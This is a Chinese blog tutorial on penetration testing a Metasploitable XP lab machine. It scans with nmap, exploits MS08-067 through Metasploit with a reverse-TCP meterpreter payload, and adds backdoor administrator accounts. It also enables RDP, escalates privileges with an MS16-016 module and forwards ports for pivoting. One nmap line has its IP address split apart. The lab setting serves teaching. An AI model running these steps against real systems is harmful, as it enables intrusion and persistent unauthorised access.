Metasploitable的简单渗透测试

作者: Hell0_C | 来源:发表于2017-03-19 20:34 被阅读1458次

    0x00 Metasploitable

    Metasploitable漏洞演练系统,基于ubuntu、xp操作系统,本身设计作为安全工具测试和演示常见漏洞攻击,他的作用是用来作为MSF攻击用的靶机,他是一个具有无数未打补丁漏洞与开放了无数高危端口的渗透演练系统,可以使我们进行练习。
    本次测试使用xp系统的靶机,下载地址

    0x01 查看详细信息

    nmap -sP -T5 
    nmap -P1-65535 -T4 
    

    使用nmap进行探测发现,使用nmap结合脚本进行扫描测试:

    nmap -sT -A --script=smb-check-vulns -P0 192
    -sT 使用TCP Connect扫描
    -A 是指高级操作系统探测功能,对一个特定服务进行更深的旗标和指纹攫取
    --script=smb-check-vulns 调用smb-check-vulns脚本
    -P0 进行更深层次的扫描,不进行主机发现.168.0.146
    


    发现探测出MS08-067漏洞,使用Metasploit进行攻击利用。

    0x02 Metasploit的利用

    2.1 查找 MS08-067相关的模块


    2.2 使用选中的模块并查看


    set TARGET 5
    

    2.2 设置攻击参数
    show options 查看一下参数,确保无误
    设置PAYLOAD(攻击载荷)
    set PAYLOAD windows/meterpreter/reverse_tcp
    set RHOST 192.168.1.146 设置远程主机IP地址
    set LHOST 192.168.1.179 设置反向连接地址为本机IP地址
    set LPORT 55555 设置本机监听的TCP端口号
    这个载荷在攻击成功后,会从目标主机发起一个反弹连接,连接到LHOST中指定的IP地址。

    2.3 开始攻击,发现已经上钩;

    0x03 提权

    3.1 查看权限,判断是否需要进行提权

    getuid

    3.2 增加用户名并设置为管理员

    net user zjw 123 /add
    net localgroup administrators zjw /add



    3.3 开启3389端口远程登录

    run getgui -e (仅仅是打开远程管理)
    run getgui -u hacker -p s3cr3t(打开远程管理并且创造一个新的用户名为Hacker密码为s3cr3t的帐号)



    3.4 远程连接目标主机
    rdesktop -f -a 16 192.168.0.146:3389
    成功登陆目标主机

    0x04 补充知识

    4.1 拿到shell只是普通用户怎么办?
    上面演示的直接就是最高权限,当然这种情况在平时渗透测试中也是比较少见的,那么我们就得进行提权了。

    meterpreter > background
    msf exploit(handler) > search ms16
    msf exploit(handler) > use exploit/windows/local/ms16_016_webdav
    msf exploit(ms16_016_webdav) > info
    msf exploit(ms16_016_webdav) > show options
    msf exploit(ms16_016_webdav) > set SESSION 1    # 设置会刚才我们后门连接的ID号 1
    msf exploit(ms16_016_webdav) > exploit
    msf exploit(ms16_016_webdav) > sessions
    msf exploit(ms16_016_webdav) > sessions -i 1
    meterpreter > getuid
    

    这是发现我们怎么还是普通权限,我们进行查看进程。然后加载我们的进程号

    meterpreter > ps
    meterpreter > migrate + 进程号
    

    这样已经提升为了system权限

    4.2 有时候我们在公网而目标主机在内网如何登陆?
    这时候就要使用端口转发来实现了,将目标主机的端口转发到我们本机。

    portfwd add -l 你本机的监听端口 -r 127.0.0.1 -p 3389
    

    执行之后所有端口3389的内网流量都会通过这个meterpreter的会话来转发到你kali的127.0.0.1的指定端口上 。
    假如在这里我设置的监听端口为2222,那么我执行的就是

    portfwd add -l 2222 -r 127.0.0.1 -p 3389
    

    然后开始连接远程桌面。新建一个终端窗口,执行连接Windows远程桌面的命令就OK了。

    rdesktop 127.1.1.0:2222

    相关文章

      网友评论

      • 4264aaf425dd:厉害,学到了东西,谢谢
        Hell0_C:@ZLBZLB 我7.1版本也提示这样
        4264aaf425dd:作者你好,我想问问为什么我在第一步输入nmap -sT -A --script=smb-check-vulns -P0的时候显示
        NSE: failed to initialize the script engine:
        /usr/bin/../share/nmap/nse_main.lua:816: 'smb-check-vulns' did not match a category, filename, or directory
        这样的??为什么会没有?
        Hell0_C:一起学习啦

      本文标题:Metasploitable的简单渗透测试

      本文链接:https://www.haomeiwen.com/subject/opsvnttx.html